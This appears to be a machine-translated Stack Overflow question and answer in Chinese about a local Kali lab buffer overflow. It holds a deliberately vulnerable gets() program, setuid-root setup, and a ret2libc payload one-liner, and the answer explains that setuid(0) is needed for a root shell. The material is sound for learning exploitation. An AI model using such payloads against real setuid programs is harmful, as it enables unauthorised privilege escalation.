首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >我的缓冲区溢出漏洞只打开常规用户shell,而不打开根shell。

我的缓冲区溢出漏洞只打开常规用户shell,而不打开根shell。
EN

Stack Overflow用户
提问于 2020-10-05 18:37:45
回答 1查看 500关注 0票数 1

我一直在尝试让这个非常简单的缓冲区溢出在我的本地kali机器上工作,经过多次尝试和错误之后,我终于让它执行我的外壳代码并打开一个/bin/bash shell --然而,它只是普通用户的shell (即我自己的"kali“用户),而不是”根“shell。非常令人失望!

我在这里阅读了两个类似的(旧的)问题,并尝试了所有针对它们的建议(例如确保可执行文件为root所有,设置了+s标志,不在nosuid挂载下,ASLR被禁用等)。但没有任何运气。

以下是易受攻击程序的源代码:

代码语言:javascript
复制
kali@kali:~/Documents/buffer-overflow$ cat vulnerable.c
#include <stdio.h>

void vulnerableFunction()
{
    char buffer[32];

    printf("What's your name? ");
    gets(buffer);
    printf("Hello, %s!\n", buffer);
}

int main()
{
    vulnerableFunction();
    return 0;
}

下面是我编译它的方法:

代码语言:javascript
复制
kali@kali:~/Documents/buffer-overflow$ gcc vulnerable.c -m32 -o vulnerable-x86 -fno-stack-protector -z execstack -no-pie
vulnerable.c: In function ‘vulnerableFunction’:
vulnerable.c:8:5: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration]
    8 |     gets(buffer);
      |     ^~~~
      |     fgets
/usr/bin/ld: /tmp/ccAaIkz1.o: in function `vulnerableFunction':
vulnerable.c:(.text+0x2c): warning: the `gets' function is dangerous and should not be used.

以下是对可执行文件的权限:

代码语言:javascript
复制
kali@kali:~/Documents/buffer-overflow$ sudo chown root:root ./vulnerable-x86
kali@kali:~/Documents/buffer-overflow$ sudo chmod +s ./vulnerable-x86
kali@kali:~/Documents/buffer-overflow$ ll ./vulnerable-x86
-rwsr-sr-x 1 root root 15408 Oct  5 13:51 ./vulnerable-x86

这里是ASLR被禁用(afaik):

代码语言:javascript
复制
kali@kali:~/Documents/buffer-overflow$ cat /proc/sys/kernel/randomize_va_space
0

下面是有效负载以及我如何注入它(3个内存地址指向系统()、/bin/sh和libc的exit()函数):

代码语言:javascript
复制
kali@kali:~/Documents/buffer-overflow$ python -c "import struct; print ('A' * 44) + struct.pack('<I', 0xf7e07070) + struct.pack('<I', 0xf7df99c0) + struct.pack('<I', 0xf7f4e33c)" > payload
kali@kali:~/Documents/buffer-overflow$ cat payload - | ./vulnerable-x86 

这是结果(我手动输入的命令是"whoami“和"echo $0”):

代码语言:javascript
复制
What's your name? Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApp������<���!
whoami
kali
echo $0
/bin/sh

--这似乎是一个正在成功生成的新shell (因为我需要键入exit两次才能返回到我的普通shell),但它是而不是root。

这些是我的无名氏坐骑:

代码语言:javascript
复制
kali@kali:/home$ sudo cat /proc/mounts | grep nosuid
sysfs /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
udev /dev devtmpfs rw,nosuid,noexec,relatime,size=4044272k,nr_inodes=1011068,mode=755 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000 0 0
tmpfs /run tmpfs rw,nosuid,nodev,noexec,relatime,size=815504k,mode=755 0 0
securityfs /sys/kernel/security securityfs rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /dev/shm tmpfs rw,nosuid,nodev 0 0
tmpfs /run/lock tmpfs rw,nosuid,nodev,noexec,relatime,size=5120k 0 0
tmpfs /sys/fs/cgroup tmpfs ro,nosuid,nodev,noexec,size=4096k,nr_inodes=1024,mode=755 0 0
cgroup2 /sys/fs/cgroup/unified cgroup2 rw,nosuid,nodev,noexec,relatime,nsdelegate 0 0
cgroup /sys/fs/cgroup/systemd cgroup rw,nosuid,nodev,noexec,relatime,xattr,name=systemd 0 0
pstore /sys/fs/pstore pstore rw,nosuid,nodev,noexec,relatime 0 0
none /sys/fs/bpf bpf rw,nosuid,nodev,noexec,relatime,mode=700 0 0
cgroup /sys/fs/cgroup/freezer cgroup rw,nosuid,nodev,noexec,relatime,freezer 0 0
cgroup /sys/fs/cgroup/devices cgroup rw,nosuid,nodev,noexec,relatime,devices 0 0
cgroup /sys/fs/cgroup/rdma cgroup rw,nosuid,nodev,noexec,relatime,rdma 0 0
cgroup /sys/fs/cgroup/cpu,cpuacct cgroup rw,nosuid,nodev,noexec,relatime,cpu,cpuacct 0 0
cgroup /sys/fs/cgroup/net_cls,net_prio cgroup rw,nosuid,nodev,noexec,relatime,net_cls,net_prio 0 0
cgroup /sys/fs/cgroup/cpuset cgroup rw,nosuid,nodev,noexec,relatime,cpuset 0 0
cgroup /sys/fs/cgroup/blkio cgroup rw,nosuid,nodev,noexec,relatime,blkio 0 0
cgroup /sys/fs/cgroup/memory cgroup rw,nosuid,nodev,noexec,relatime,memory 0 0
cgroup /sys/fs/cgroup/perf_event cgroup rw,nosuid,nodev,noexec,relatime,perf_event 0 0
cgroup /sys/fs/cgroup/pids cgroup rw,nosuid,nodev,noexec,relatime,pids 0 0
mqueue /dev/mqueue mqueue rw,nosuid,nodev,noexec,relatime 0 0
tracefs /sys/kernel/tracing tracefs rw,nosuid,nodev,noexec,relatime 0 0
debugfs /sys/kernel/debug debugfs rw,nosuid,nodev,noexec,relatime 0 0
binfmt_misc /proc/sys/fs/binfmt_misc binfmt_misc rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /run/user/1000 tmpfs rw,nosuid,nodev,relatime,size=815500k,nr_inodes=203875,mode=700,uid=1000,gid=1000 0 0
gvfsd-fuse /run/user/1000/gvfs fuse.gvfsd-fuse rw,nosuid,nodev,relatime,user_id=1000,group_id=1000 0 0

任何想法都将是非常受欢迎的,因为我觉得几个小时前我已经没有东西去尝试了。

谢谢!

EN

回答 1

Stack Overflow用户

回答已采纳

发布于 2020-10-05 19:12:45

当程序的可执行文件具有setuid位时,程序将使用原始用户的UID和文件所有者的EUID运行。这意味着,在程序执行setuid(0)之前,它不会获得实际的根权限( UID=0),并且将以正常用户的身份运行。特别是,它的子进程将不作为根进程运行。

因此,您必须修改易受攻击的程序以运行setuid(0),或者将等效的系统调用添加到shell代码有效负载中,以获得根shell。

票数 2
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/64214348

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档